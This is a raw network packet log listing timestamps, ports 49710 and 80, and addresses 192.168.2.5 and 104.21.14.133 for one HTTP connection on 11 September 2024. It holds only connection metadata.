Sep 11, 2024 18:23:50.446283102 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.446283102 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.446283102 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.446326017 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446332932 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446336031 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446346045 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446351051 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446353912 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446358919 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446363926 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446367025 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446372986 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446378946 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446382046 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446386099 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446393013 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446396112 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446399927 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446404934 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446409941 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446413040 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446422100 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.446422100 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.446422100 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.446446896 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.446446896 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.446573973 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446578026 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446602106 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446609020 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446613073 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446616888 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446621895 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446624041 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.446625948 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446630955 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446636915 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446640015 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446799994 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.446799994 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.446963072 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446968079 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446973085 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447022915 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447026014 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447031021 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447040081 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447045088 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447048903 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447129965 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.447129965 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.447129965 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.447161913 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447165966 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447170973 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447175980 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447180033 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447208881 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.447243929 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447249889 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447253942 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447264910 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447268009 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447273016 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447283983 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447288990 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447293997 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447299957 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447304010 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447304964 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.447304964 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.447308064 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447313070 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447319984 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447328091 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.447331905 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447349072 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.447349072 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.447407961 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.447439909 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447443962 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447448969 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447460890 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447463989 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447468042 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447479010 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447484016 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447489023 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447494030 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447498083 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447500944 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447506905 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447510004 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447515011 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447520018 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447524071 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447526932 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447547913 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.447547913 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.447547913 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.447659969 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.447812080 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447817087 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447822094 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447897911 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447901011 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447912931 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447923899 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447926998 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447932005 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447940111 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447945118 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447954893 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447959900 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447963953 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447968006 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.447971106 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.447971106 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.447971106 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.448265076 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.450930119 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.450977087 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.451189995 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.451200008 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.451407909 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.451414108 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.451417923 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.451422930 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.451428890 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.451431990 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.451436043 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.451441050 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.451443911 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.451550007 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.451550007 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.531843901 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.531862974 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.531877995 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.531897068 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.531899929 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.531903982 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.531914949 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.531919956 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.531924009 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.531929016 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.531932116 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.531938076 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.531944036 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.531955004 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.531960011 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.531965017 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.531971931 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.531971931 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.531986952 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.531992912 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.531994104 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.531996965 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532006025 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532011032 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532013893 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532018900 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532025099 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532030106 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532035112 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532040119 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532042980 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532047033 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532052994 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532058001 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532085896 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.532085896 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.532085896 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.532121897 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532126904 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532157898 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532169104 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532172918 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532177925 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532223940 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.532223940 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.532223940 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.532270908 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532274961 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532279015 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532290936 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532295942 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532299995 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532305002 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532309055 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532314062 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532320023 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532322884 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.532349110 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.532442093 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.532469988 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532474041 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532478094 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532489061 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532491922 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532495975 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532501936 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532505035 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532510042 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532521963 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532526016 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532530069 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532536983 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532541037 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532545090 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532551050 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532552004 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.532552004 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.532553911 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532561064 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532566071 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.532605886 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.532774925 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532779932 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532783985 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532793999 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532798052 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532803059 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532808065 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532810926 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532815933 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532828093 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532831907 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532835960 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532843113 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532846928 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532851934 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532861948 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532866001 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532870054 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.532870054 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532870054 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.532870054 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.532876015 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532881975 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532891989 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532898903 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532902956 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532907009 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.532908916 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.532908916 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.532947063 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.533049107 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.533097029 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.533102036 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.533104897 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.533116102 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.533119917 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.533124924 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.533129930 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.533133984 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.533138037 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.533149958 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.533154011 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.533158064 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.533164024 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.533168077 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.533171892 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.533178091 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.533180952 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.533190966 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.533210993 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.533210993 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.533210993 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.533359051 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.533363104 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.533370018 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.533380985 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.533384085 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.533384085 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.533387899 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.533395052 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.533399105 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.533402920 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.533409119 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.533411980 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.533416986 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.533421993 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.533421993 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.533422947 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.533427954 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.533432007 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.533437014 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.533451080 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.533677101 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.537070036 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.537113905 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.537117958 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.537656069 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.537672997 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.537677050 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.537725925 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.537725925 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.537750006 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.537753105 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.537758112 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.537786961 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.537791967 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.537796974 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.537801027 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.537806034 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.537806988 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.537895918 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.537899971 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.537904978 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.537915945 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.537919044 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.537919044 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.537919044 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.537925005 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.537929058 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.537980080 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.537980080 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.537991047 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.537995100 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.537998915 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.538009882 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.538013935 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.538018942 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.538048983 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.538053036 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.538057089 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.538068056 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.538072109 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.538077116 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.538083076 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.538086891 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.538091898 CEST	80	49710	104.21.14.133	192.168.2.5
